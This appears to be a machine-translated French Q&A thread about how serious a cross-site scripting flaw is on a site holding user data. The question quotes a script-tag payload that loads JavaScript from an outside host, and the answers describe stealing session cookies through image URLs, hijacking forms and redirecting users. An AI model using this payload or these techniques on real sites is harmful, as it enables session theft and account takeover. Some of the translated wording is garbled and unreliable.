Quelle est la gravité des attaques XSS
Un site Web que je visite permet à ce type d'attaque, d'être mis en œuvre avec l'URL
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Avec beaucoup d'autres sur cette page: http://ha.ckers.org/xss.html
Le site nécessite un compte (généralement payé) pour accéder à cette page, mais toujours.
Quelle est la gravité d'une préoccupation? Et quel type de dommage pourrait être fait sur le site?
Je comprends que je vous donne peu d'informations, mais une idée générale serait bien. Merci!
(Site Web est exploité sur une grande base de données avec des données confidentielles avec des comptes d'utilisateurs, des adresses, des courriels et etc. [aucune carte de crédit]).
Tout ce que vous pouvez faire avec JavaScript lorsque le propriétaire du site peut être fait avec une attaque XSS. Cela inclut la modification du [~ # ~] dom [~ # ~ ~] . Vous pouvez remplacer une page entière et donc avoir le contrôle de toutes les données dans et hors du site Web. Les scripts relativement simples peuvent lire des cookies et avancer les informations de session. Ce serait comme un pamineux à distance - imprègne un utilisateur en saisissant leurs informations d'identification d'accès.
En outre, cela peut introduire des visiteurs sur votre site toute sorte d'attaque qui affecte les navigateurs.
XSS seul ne fait pas beaucoup de dégâts, mais il peut facilement être combiné avec d'autres techniques pour former de puissants vecteurs d'attaque. Quelques possibilités sont:
Séance du détournement - Souvent, les cookies de session peuvent être lus à partir de JavaScript. Grâce à XSS, un script peut être monté qui lit l'identifiant de session d'un utilisateur et le repasse à l'attaquant (une méthode simple mais efficace consiste à ajouter un élément IMG à la DOM, où l'URL de l'image porte l'ID de session); L'attaquant peut ensuite détourner une session authentifiée en mettant l'identifiant de la session dans leur propre cookie de session.
racler des informations sensibles - Si une page avec une vulnérabilité XSS contient des informations sensibles et l'envoyer à l'attaquant (comme le cookie de session).
Afficher des données sur le nom de quelqu'un d'autre - via XSS, un formulaire Soumettre peut être intercepté et modifié, voire déclenché, d'afficher des données sans le consentement de l'utilisateur. Par exemple, si vous pouvez compromettre un client de messagerie Web, vous pouvez détourner le bouton "Envoyer" pour vous ajouter à la liste des destinataires.
redirection malveillante - Un script XSS peut modifier les URL de tout lien de la page. Cela peut être maltraité, par exemple, envoyer à l'utilisateur à une page de connexion bloquée; Au lieu d'être connecté, ils envoient leurs informations d'identification à l'attaquant.
Ingénierie sociale - En insérant des messages d'erreur, des alertes, etc., vous pouvez trouver les utilisateurs à toutes sortes de comportements non sécurisés. Par exemple, un attaquant pourrait inciter les utilisateurs à télécharger et à ouvrir un certain fichier; Si le site qui leur demande de le faire a un niveau de confiance élevé avec l'utilisateur, il y a de fortes chances d'exécuter non critique quoi que ce soit, ce qui permet de monter des chevaux de Troie et d'autres logiciels malveillants.
Notez également que de nombreux vecteurs d'attaque fonctionnent sans que l'utilisateur ouvre consciemment la page compromise: Souvent, la page compromise est constituée d'une iframe invisible ailleurs, telle qu'un forum que la victime est susceptible de visiter ou d'une page liée de cependant ailleurs .
Il y a deux aspects:
Une vulnérabilité XSS permet à l'attaquant de faire n'importe quoi, la victime est autorisée à faire avec le système. Si la victime est membre du personnel, il est probable qu'il ait accès à des informations personnelles telles que les adresses de messagerie ou les coordonnées bancaires. De plus, ces comptes peuvent être autorisés à modifier le contenu et à remplacer avec des instructions inappropriées ou des exploits de navigateur.
Un hack retenu peut entraîner une couverture de presse extrêmement mauvaise. Cela peut être bien pire que les dommages directs.